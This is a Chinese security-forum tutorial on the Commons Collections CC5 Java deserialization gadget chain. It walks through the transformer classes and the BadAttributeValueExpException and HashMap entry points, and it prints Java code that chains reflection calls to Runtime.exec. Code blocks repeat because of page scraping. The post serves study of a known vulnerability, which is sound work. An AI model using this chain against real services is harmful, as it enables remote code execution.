首页
社区
课程
招聘
[原创]Gadget学习-CommonsCollection5
发表于: 2022-12-11 10:27 1017

[原创]Gadget学习-CommonsCollection5

2022-12-11 10:27
1017

CommonsCollection包为Java标准的CollectionsAPI提供相当好的补充,在此基础上对其常用的数据结构操作进行很好的封装,抽象和补充。让开发者在开发的过程中既能保证性能,同时简化代码

Commons Collection实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展,该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

org.apache.commons.collections.Transformer这个类可以满足固定的类型转换需求,其转换函数可以自定义实现,我们的漏洞触发函数就是利用了这一点。

在Collections中提供一个非常重要的类:org.apache.commons.collections.functors.InvokerTransformer,这个类实现了java.io.Serializable接口。Transformer提供了一个对象转换方法:transform主要用于将输入对象转换为输出对象。InvokerTransformer类主要作用就是利用java反射机制来创建类实例

InvokerTransformer扩展了序列化与Transformer类。其构造函数为三个东西,一个是方法名,一个是类型参数列表,一个是参数列表。

transform提供一个方法,带入一个Object,可执行其Object.methodName(args)方法

使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景中没法调用transformer.transform的时候直接转入Runtime.getRuntime()对象的(因为Runtime对象时不可被序列化的)。


可以看到弹出了计算器,但是我们跟进InvokerTransformer类里看看。

可以明显的看到这个类继承了Serializable接口,表示这是可反序列化的,但是它并没有readObject方法,而反序列化机制是自动调用被反序列化的readObject方法,所以这段代码并不能完成反序列化攻击,还需要找出链才行。

再看看Runtime对象,它并没有继承Serializable接口,说明这个对象是不能可被反序列化的,所以需要通过反射去查找这个对象。

在学习查找Runtime这个对象前,先通过两个例子去学习如何查找对象


可看到成功触发计算器

但是ChainedTransformer类里还是没有readObject方法,反序列化时还是不能触发transform方法。


首先我们在看transform的实现方法时,看到ConstantTransformer里的transform方法,输入什么都给他输出,所以可更改一下我们链代码。

入口点为ConstantTransformer c1 = new ConstantTransformer(Runtime.class),这时候将c1加入链中,transform方法不管输入,输出都是Runtime.class。


LazyMap类继承了Serializable接口,是可被反序列化的,但是reobject方法中并没有什么操作,所以需要找到一个类去触发get方法,再通过get触发transform。

找到TiedMapEntry类,继承了Serializable接口,再看到TiedMapEntry方法,接受了外部输入,传入内部。map可控,可以传入LazyMap,key可控,传入Runtime.class,而TiedMapEntry类没有readObject方法,但是在equals方法,hashCode方法,toString方法调用了getValue,所有在找有什么类调用了这四个方法。

最后找到BadAttributeValueExpException类,继承了Serializable接口



而readObject方法正好触发了toString方法,由此完成了CC5的反序列化漏洞链。

BadAttributeValueExpException readObject方法 -》TiedMapEntry toString方法 -》getValue方法 -》LazyMap get方法 -》 transform方法


TiedMapEntry里的getValue调用get,在传入Map为LazyMap时,就可触发LazyMap里的get方法里的transform来弹计算器。所以,可以使用另外一条链hashCode触发,所以只需要找出调用hashCode的链即可。

入口点为HashMap,在1.7版本的HashMap的readObject中,使用的是putForCreate函数,我们的kay和value由put传入。

进入到putForCreate函数后,再跟进hash函数,调用hash(key)计算key的hash值,链也由此进入。

可以看到hash方法中调用了hashCode函数,如果在hash方法中,传入的key正好为TiedMapEntry,这时候就调用了TiedMapEntry的hashCode方法。

如果hashCode方法里调用了getvalue方法,getValue方法又调用了get方法,而传入的map又正好为LazyMap

调用了LazyMap的get方法里的transform方法触发计算器。由此完成第二条CC5反序列化漏洞链:


成功触发!

LinkedMap: 可以维护条目顺序的map
BidiMap: 即双向Map,可以通过key找到value,也可以通过value找到key。需要注意的是BigMap中的key和value都不可以重复。
MultiMap:一个key指向是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()的时候返回一个Collection,实现一对多
LazyMap:即Map中的键值对一开始不存在,被调用到时才会创建。
LinkedMap: 可以维护条目顺序的map
BidiMap: 即双向Map,可以通过key找到value,也可以通过value找到key。需要注意的是BigMap中的key和value都不可以重复。
MultiMap:一个key指向是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()的时候返回一个Collection,实现一对多
LazyMap:即Map中的键值对一开始不存在,被调用到时才会创建。
 
payload:需要让服务器执行的语句,比如弹计算器等
反序列化利用链:服务端中存在的反序列化利用链,一层一层的进入,最后执行payload(此篇文章为cc链的介绍)
readObject利用点:服务端存在可以与我们漏洞利用链相连的并且可以外部访问的readObject函数利用,也就是入口点,再找到利用链,最后执行payload。
payload:需要让服务器执行的语句,比如弹计算器等
反序列化利用链:服务端中存在的反序列化利用链,一层一层的进入,最后执行payload(此篇文章为cc链的介绍)
readObject利用点:服务端存在可以与我们漏洞利用链相连的并且可以外部访问的readObject函数利用,也就是入口点,再找到利用链,最后执行payload。
TransformedMap
InvokerTransformer
ConstantTransformerfor
ChainedTransformer
Transformer
TransformedMap
InvokerTransformer
ConstantTransformerfor
ChainedTransformer
Transformer
 
public InvokerTransFormer(String methodName, Class[]    paramTypes, Object[ ] args){
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
public InvokerTransFormer(String methodName, Class[]    paramTypes, Object[ ] args){
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
public Object transform(Object input){
    //反射使用
    Class cls = input.getClass();//获取Class引用
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
}
public Object transform(Object input){
    //反射使用
    Class cls = input.getClass();//获取Class引用
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
}
 
Class c = String.class.getClass(); //获取CLass引用,也就是找到  String的Class,因为java万物皆对象,每个对象在内存中都对应着一个Class
 
Method m1 = c.getMethod("valueof", new Class[]{String.class});//查找valueOf方法,String.class代表一个参数,也就是valueOf("1")里的1
 
m1.invoke(null, new Object[]{"1", new Class[0]});//valueOf为静态方法,所以对象处写null,1为参数,new Class[0]为写入位置
Class c = String.class.getClass(); //获取CLass引用,也就是找到  String的Class,因为java万物皆对象,每个对象在内存中都对应着一个Class
 
Method m1 = c.getMethod("valueof", new Class[]{String.class});//查找valueOf方法,String.class代表一个参数,也就是valueOf("1")里的1
 
m1.invoke(null, new Object[]{"1", new Class[0]});//valueOf为静态方法,所以对象处写null,1为参数,new Class[0]为写入位置
Class s1 = s.getClass();
 
Method m = s1.getMethod("split", new Class[]{String.class});
 
m.invoke(s, new Object[]{"1", new Class[0]});
 
//链代码:
Method m = Runtime.class.getMethod("getRuntime");
InvokerTransformer i1 = new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] });
InvokerTransformer i2 = new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] });
InvokerTransformer i3 = new InvokerTransformer("exec",
        new Class[] { String.class }, new Object[]{"calc"});
 
分析:Method m = Runtime.class.getMethod("getRuntime");
 
//上面的代码可分为三段:
Class runtimeClazz = Runtime.class.getClass();//首先获取引用
Method m1 = runtimeClazz.getMethod("getMethod", new Class[]{String.class, Class[].class});//接着查找getMethod方法
m1.invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});//调用对象方法
 
//i1,i2,i3为三条链,而这三条链需要窜起来才能使用,就需要用到ChainedTransformer类。
Class s1 = s.getClass();
 
Method m = s1.getMethod("split", new Class[]{String.class});
 
m.invoke(s, new Object[]{"1", new Class[0]});
 
//链代码:
Method m = Runtime.class.getMethod("getRuntime");
InvokerTransformer i1 = new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] });
InvokerTransformer i2 = new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] });
InvokerTransformer i3 = new InvokerTransformer("exec",
        new Class[] { String.class }, new Object[]{"calc"});
 
分析:Method m = Runtime.class.getMethod("getRuntime");
 
//上面的代码可分为三段:
Class runtimeClazz = Runtime.class.getClass();//首先获取引用
Method m1 = runtimeClazz.getMethod("getMethod", new Class[]{String.class, Class[].class});//接着查找getMethod方法
m1.invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});//调用对象方法
 
//i1,i2,i3为三条链,而这三条链需要窜起来才能使用,就需要用到ChainedTransformer类。
//ChinaTransformer类实现了Transformer链调用,我们只需要传入一个Transformer数组ChainedTransformrt就可以实现依次调用每一个Transformer的transform方法,其构造函数传入一个Transformer数组。
 
public ChainedTransformer(Transformer[] transformers){
    this.iTransformers = transformers;
}
 
//transform方法对其在构造函数中传入一个transform数组循环调用
 
public Object transform(Object object){
    for(int i = 0; i < iTransformers.length; i++){
        object = iTransformers[i].transform(Object);
    }
    return object;
}
 
 
//链式执行计算器:
Method m = Runtime.class.getMethod("getRuntime");
InvokerTransformer i1 = new InvokerTransformer("getMethod", new Class[] {
         String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] });
InvokerTransformer i2 = new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] });
InvokerTransformer i3 = new InvokerTransformer("exec",
        new Class[] { String.class }, new Object[]{"calc"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{i1, i2, i3});
chainedTransformer.transform(Runtime.class); //输入为Runtime.class开始触发
//ChinaTransformer类实现了Transformer链调用,我们只需要传入一个Transformer数组ChainedTransformrt就可以实现依次调用每一个Transformer的transform方法,其构造函数传入一个Transformer数组。
 
public ChainedTransformer(Transformer[] transformers){
    this.iTransformers = transformers;
}
 
//transform方法对其在构造函数中传入一个transform数组循环调用
 
public Object transform(Object object){
    for(int i = 0; i < iTransformers.length; i++){
        object = iTransformers[i].transform(Object);
    }
    return object;
}
 
 
//链式执行计算器:
Method m = Runtime.class.getMethod("getRuntime");
InvokerTransformer i1 = new InvokerTransformer("getMethod", new Class[] {
         String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] });
InvokerTransformer i2 = new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] });
InvokerTransformer i3 = new InvokerTransformer("exec",
        new Class[] { String.class }, new Object[]{"calc"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{i1, i2, i3});
chainedTransformer.transform(Runtime.class); //输入为Runtime.class开始触发
Method m = Runtime.class.getMethod("getRuntime");
ConstantTransformer c1 = new ConstantTransformer(Runtime.class);
InvokerTransformer i1 = new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] });
InvokerTransformer i2 = new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] });
InvokerTransformer i3 = new InvokerTransformer("exec",
        new Class[] { String.class }, new Object[]{"calc"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{c1, i1, i2, i3});
chainedTransformer.transform("123");
Method m = Runtime.class.getMethod("getRuntime");
ConstantTransformer c1 = new ConstantTransformer(Runtime.class);
InvokerTransformer i1 = new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] });

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//